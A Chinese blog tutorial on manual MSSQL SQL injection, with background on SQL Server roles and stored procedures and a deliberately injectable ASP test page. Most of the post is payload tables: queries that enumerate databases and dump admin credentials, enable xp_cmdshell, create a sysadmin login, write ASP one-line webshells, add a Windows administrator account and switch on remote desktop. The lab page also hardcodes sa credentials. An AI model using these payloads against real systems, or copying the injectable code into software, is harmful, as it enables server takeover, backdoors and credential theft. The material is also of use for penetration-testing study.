本文因为CSDN博客的技术问题,导致我格式全乱了
心烦之下删了重写一遍,也算是再梳理一次
主要是对MSSQL注入已经不是很精通,好好总结下!
写一半的时候,服务器被人入侵了,哎,打脸啊~
====================================================================
科普:固定服务器角色和固定数据库角色以及相关基础知识
因为本次渗透的主要目的是,尽可能多的把知识点给囊括,这必然要涉及到扫盲。
而扫盲,必然要涉及到角色:固定服务器角色,固定数据库角色!
这些角色是与生俱来的角色。
角色名 | 权限 |
---|---|
sysadmin | 执行SQL Server中的任何动作 |
serveradmin | 配置服务器设置 |
setupadmin | 安装复制和管理扩展过程 |
securityadmin | 管理登录和CREATE DATABASE的权限以及阅读审计 |
processadmin | 管理SQL Server进程 |
diskadmin | 管理磁盘文件 |
当然,还有两个角色:bulkadmin和public,没介绍到,不是很重要。
这些角色操作对象是服务器,在服务器角色中,我们关注的是sysadmin!
角色名 | 权限 |
---|---|
db_owner | 可以执行数据库中所有动作的用户 |
db_accessadmin | 可以添加、删除用户的用户 |
db_datareader | 可以查看所有数据库中用户表内数据的用户 |
db_datawriter | 可以添加、修改或删除所有数据库中用户表内数据的用户 |
db_ddladmin | 可以在数据库中执行所有DDL操作的用户 |
db_securityadmin | 可以管理数据库中与安全权限有关所有动作的用户 |
db_backoperator | 可以备份数据库的用户 |
db_denydatareader | 不能看到数据库中任何数据的用户 |
db_denydatawriter | 不能改变数据库中任何数据的用户 |
当然了,还有个public角色,一般站点(目前遇到的),都是db_owner权限。
这些角色操作对象是数据库层次,我们关注的数据库角色,也是db_owner!
两种角色之间的关系:
映射!
明白下这几个概念:
服务器角色,服务器角色成员,数据库角色,数据库角色成员。
喜闻乐见的sa登录名,就是服务器角色sysadmin的角色成员,它是一个用户,能够操作整个SQL Server。
但是有的时候,我们用自定义的登录名如:emaster,只能够操作整个数据库test。怎么理解呢?
给emaster 属性→ 用户映射→ test数据库√,数据库角色 db_owner√,public√!
映射!
如此一来,emaster的权限就只能操作这个test数据库了。
理解DBO:
dbo 是具有在数据库中执行所有活动的暗示性权限的用户。将固定服务器角色 sysadmin 的任何成员都映射到每个数据库内称为 dbo 的一个特殊用户上。
另外,由固定服务器角色 sysadmin 的任何成员创建的任何对象都自动属于 dbo。
例如,如果用户 Andrew 是固定服务器角色 sysadmin 的成员,并创建表 T1,则表 T1 属于 dbo,并以 dbo.T1 而不是 Andrew.T1 进行限定。相反,如果 Andrew 不是固定服务器角色 sysadmin 的成员,而只是固定数据库角色 db_owner 的成员,并创建表 T1,则 T1 属于 Andrew,并限定为 Andrew.T1。该表属于 Andrew,因为该成员没有将表限定为 dbo.T1。 无法删除 dbo 用户,且此用户始终出现在每个数据库中。
只有由 sysadmin 固定服务器角色成员(或 dbo 用户)创建的对象才属于 dbo。由任何其他也不是 sysadmin 固定服务器角色成员的用户(包括 db_owner 固定数据库角色成员)创建的对象,属于创建该对象的用户,而不是 dbo。
例如,如果用户 Andrew 是固定服务器角色 sysadmin 的成员,并创建表 T1,则表 T1 属于 dbo,并以 dbo.T1 而不是 Andrew.T1 进行限定。相反,如果 Andrew 不是固定服务器角色 sysadmin 的成员,而只是固定数据库角色 db_owner 的成员,并创建表 T1,则 T1 属于 Andrew,并限定为 Andrew.T1。该表属于 Andrew,因为该成员没有将表限定为 dbo.T1。 无法删除 dbo 用户,且此用户始终出现在每个数据库中。
只有由 sysadmin 固定服务器角色成员(或 dbo 用户)创建的对象才属于 dbo。由任何其他也不是 sysadmin 固定服务器角色成员的用户(包括 db_owner 固定数据库角色成员)创建的对象,属于创建该对象的用户,而不是 dbo。
(摘自互动百科)
理解group by 和 having:
select 涉及到的字段,这些字段要么就要包含在Group By语句的后面,作为分组的依据;要么就要被包含在聚合函数中。
比如:
select c1,c2,c3 from test group by c1,c2;
这会报错:选择列表中的列 'test.c3' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。
以上也是group by 爆列名的原理。
group by 是分组的意思,select的结果集,用它分完后,会出现一个个小结果集,group by的目的是把这些结果集浓缩成一条记录。
怎么搞?有c1,c2,c3这三个列,我们group by c1,怎么才能弄成一条记录呢?
用聚集函数!
如count(*),如此一来,便是统计了行数,把多值的列变成了单值的统计行数,也就实现了一条记录了。
having 和 select 很相似,但是select 无法处理聚集函数,也是筛选器啦。
理解存储过程和配置:
SQL Server 自带一些存储过程,类似于子函数或子程序吧。能够被调用。
它能方便管理员和服务器内部的工作。如xp_cmdshell,就是能够执行CMD命令的存储过程。
语法是:
EXEC XP_CMDSHELL 'Whoami';
当然,这么危险的命令,在2005和2008以及2012 SQL Server中,都是默认关闭的。(这里指的是禁用,而不是被人工删除)
能开就能关。这里的开关是:sp_configure!
本来一些普通存储过程的开启如下:
EXEC sp_configure 'someXP', 1
关闭如下:
EXEC sp_configure 'someXP', 0
但是,SQL Server有个配置表,里面属于高级配置的,必须再打开一个高级开关:show advanced options!
很不巧,xp_cmdshell就是其中的一个高级选项!
这里附上官方的打开xp_cmdshell教程,其它高级存储过程做法一致:
--开启xp_cmdshell部分
--------------------------------------------------
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE WITH OVERRIDE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE WITH OVERRIDE
GO
--通过xp_cmdshell执行shell命令的部分
--------------------------------------------------
Exec xp_cmdshell 'whoami '
GO
--关闭xp_cmdshell部分
-----------------------------------------------------
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE WITH OVERRIDE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0
GO
-- To update the currently configured value for this feature.
RECONFIGURE WITH OVERRIDE
GO
了解账户权限:
用whoami命令,可以查看自己当前的权限
nt authority\network service
被service control manager 使用,拥有本地计算机最小的权限,在互联网中扮演着计算机的角色
NT AUTHORITY\LocalService:
被service control manager 使用. 他拥有本地计算机的最小的权限并且在本地服务中有匿名的认证信息
emaster-2aiql6m\administrator
权限略低于system,可登陆。
nt authority\system
权限最高的账号,内置。
此处官方给了一张服务安全以及权限的表:
一般我们拿到一个服务器,都是可怜的:nt authority\network service。
所以我们需要提权!
这里我不要脸的说一句自己的经验,如果没有其他的软件如Serv-U,FTP等的漏洞,如果没有系统的溢出漏洞等,如果没有弱口令,如果没有可笑的everyone写、执行权限(upload文件夹应该可写但不可执行不可读取),单单靠一个network service的权限,是不可能提权成功的。
MSSQL 手注
A阶段-基本信息收集
测试目的 | 测试语句 |
---|---|
判断是不是MSSQL | and exists (select * from sysobjects) |
判断是不是sysadmin、public角色成员 | and 1=(select IS_SRVROLEMEMBER('sysadmin')) |
判断是不是db_owner角色成员 | and 1=(select IS_MEMBER('db_owner')) |
判断是不是可以读取其它库如master(public角色成员即可) | and 1=(select HAS_DBACCESS('master')) |
判断MSSQL版本 | and 1=(select @@VERSION) |
判断本地服务器名 | and 1=(select @@servername) |
判断是否支持多行 | ;declare @d int |
判断是否支持注释符-- (两杠杠+一空格) | -- asdfhkjeakjf |
判断是否支持注释符/**/ | /*asdfaklehfkjsd*/ |
判断是否支持子语句查询 | and (select count(1) from [sysobjects])>=0 |
判断服务器登录名,如果出现dbo,证明是sa登录名 | and user>0 |
判断数据库名1 | and (select db_name())>0 |
判断数据库名2(跨库查询,N从0递增) | and (select top 1 name from master.dbo.sysdatabases where name not in (select top N name from master.dbo.sysdatabases order by dbid))>1 |
判断表名(N从1递增) | and (select top 1 name from sysobjects where xtype='u' and name not in (select top N name from sysobjects where xtype='u'))>1 |
判断列名1 | and 1=0 union select * from aspcms_admin having 1=1 /*aspcms_admin.ID*/ and 1=0 union select * from aspcms_admin group by aspcms_admin.ID having 1=1 /*aspcms_admin.username*/ |
判断列名2(N从1递增) | and (select top 1 col_name(object_id('aspcms_admin'),N)from sysobjects)>1 |
判断字段内容第1步-观察页面输出数字 | and 1=0 union select 1,2,3 from aspcms_admin |
判断字段内容第2步-爆内容 | and 1=0 union select id,username,password from aspcms_admin |
B阶段-存储过程提权
测试目的 | 测试语句 |
---|---|
检测XP_CMDSHELL(CMD命令) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell') |
检测XP_REGREAD(注册表读取功能) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread') |
检测SP_MAKEWEBTASK(备份功能,2005中取消了) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask') |
检测SP_ADDEXTENDEDPROC(可拓展存储过程) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc') |
检测XP_SUBDIRS(读子目录) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs') |
检测XP_DIRTREE(读子目录) | and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree') |
开启show advanced options(显示或修改高级选项) | ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE; |
开启XP_CMDSHELL(2005和2008默认关闭)(高级选项) | ;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE WITH OVERRIDE; |
获取当前目录1 (读注册表法) (win2000) (需要熟知每个OS的注册表) | ;create table temp(paths varchar(1000))-- /*建temp表,此处有延时,请注意!*/ and 1=0 union select * from temp /*判断表是否创建成功*/ ;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into temp (paths) values(@result);-- /*从注册表读取web位置*/ and 0<>(select top 1 paths from temp) /*显错爆路径*/ |
获取当前目录2 (xp_dirtree 法) (只需要public角色成员权限) | ;create table dirs(paths varchar(1000),id int)-- ;insert dirs exec master.dbo.xp_dirtree 'c:\' -- and 0<>(select top 1 paths from dirs where id=M and paths not in (select top N paths from dirs where id=M)) -- /*M表示层数,从1递增,N表示ID,从0递增,此方法需要耐心,因为它是无序,不记录父节点!*/ /*发现目录Inetpub*/ ;Truncate Table dirs; insert dirs exec master.dbo.xp_dirtree 'c:\Inetpub' -- and 0<>(select top 1 paths from dirs where id=M and paths not in (select top N paths from dirs where id=M)) -- |
获取当前目录3(xp_cmdshell+dir法) | ;create table dirs(paths varchar(1000))-- /*建一个dirs表*/ ;insert dirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' -- /*插入数据*/ and 0<>(select top 1 paths from dirs where paths not in (select top N paths from dirs))-- /*得到关键目录Inetpub之后*/ ;Truncate Table dirs;insert dirs exec master.dbo.xp_cmdshell 'dir c:\Inetpub /S/B' -- and 0<>(select top 1 paths from dirs where id=M and paths not in (select top N paths from dirs where id=M)) -- |
建立sysadmin角色成员 ( sp_addlogin + sp_password 法) (方便操作,MSSQL连接客户端在附录2下载) | ;use master;exec sp_addlogin hacker;exec dbo.sp_password null,'123qwe',hacker; ;use master;exec dbo.sp_addsrvrolemember hacker,sysadmin; /*提权到sysadmin*/ /*可能有报错:多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。但没关系*/ |
写入一句话1 (sp_makewebtask法) (仅限2005) | ;EXEC sp_configure 'show advanced options',1;RECONFIGURE WITH OVERRIDE; sp_configure 'Web Assistant Procedures', 1;RECONFIGURE WITH OVERRIDE; -- ;exec sp_makewebtask 'c:\inetpub\wwwroot\test\shell.asp', 'select "<% execute(request("sys"))" %>' -- |
写入一句话2 (xp_cmdshell+bcp导数据法) (需要选定目录具备everyone写权限,但你觉得可能吗?) | --导出数据到TXT ;Create table temp(line varchar(100));-- ;Insert into temp(line)values('<%execute request("sys")%>');-- ;declare @shellCommand nvarchar(1024); -- ;Set @shellCommand='bcp "Select line From temp" queryout C:\inetpub\wwwroot\test\1.asp'+' -S"." -U"hacker" -P"123qwe" -c -T' -- ;exec xp_cmdshell @shellCommand -- ;drop table temp-- |
写入一句话3 差异备份法 同样IIS_WPG用户对目录有写权限 | backup database 库名 to disk = 'c:\inetpub\wwwroot\shell.bak' create table [库名].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E) backup database 库名 to disk='目标位置\shell.asp' WITH DIFFERENTIAL,FORMAT;-- |
提权 (即使是SA 权限也是看运气) | exec master.dbo.xp_cmdshell 'net user hacker 123qwe /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add';-- |
开3389远程桌面1-2003&XP | echo Windows Registry Editor Version 5.00 >3389.reg echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "fDenyTSConnections"=dword:00000000 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000d3d >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000d3d >>3389.reg ============================ regedit /s 3389.reg |
开3389远程桌面2-2003&XP (需要CMD交互shell) | fDenyTSConnections 如果为0 表示开启3389,如果为1表示禁用3389 reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 选择yes reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 |
WIN2003 + MSSQL 2008 测试环境搭建
测试页面(index.asp?id=1):
<%
DB_conn_string = "Provider=SQLOLEDB;server=127.0.0.1;uid=sa;pwd=123qwe;database=aspcms;"
Set conn = Server.Createobject("ADODB.Connection")
conn.open DB_conn_string
id = request("id")
Set rs = Server.CreateObject("ADODB.Recordset")
sql="select * from [book] where id = " & id
rs.open sql,conn,1,1
do while not rs.eof
response.write "id = " & rs("id")
response.write "<br/>"
response.write "book_name = " &rs("bookname")
response.write "<br/>"
response.write "author = " & rs("author")
response.write "<br/>"
rs.movenext
loop
conn.close
Set rs = nothing
Set conn = nothing
%>
数据库创建语句:
create database aspcms;
GO
use aspcms;
create table book(
id int not null,
bookname varchar(50),
author varchar(50),
date date
);
create table aspcms_admin(
id int,
aspcms_username varchar(50),
aspcms_password varchar(50)
);
insert into aspcms_admin(id,aspcms_username,aspcms_password) values(1,'keyIs7pIGS','CoodBoy!');
insert into book(id,bookname,author,date) values(1,'a','aa',getdate());
insert into book(id,bookname,author,date) values(2,'b','bb',getdate());
insert into book(id,bookname,author,date) values(3,'c','cc',getdate());
insert into book(id,bookname,author,date) values(4,'d','dd',getdate());
可能出现的问题:
[Microsoft][ODBC SQL Server Driver][DBNETLIB]一般性网络错误。请检查网络文档
Sql Server Configuration Manager 在MSSQLSERVER的协议上开启TCP/IP协议
附录1:
设置服务器配置选项
附录2:
MSSQL客户端连接工具免积分下载
附录3:
内网渗透的爽文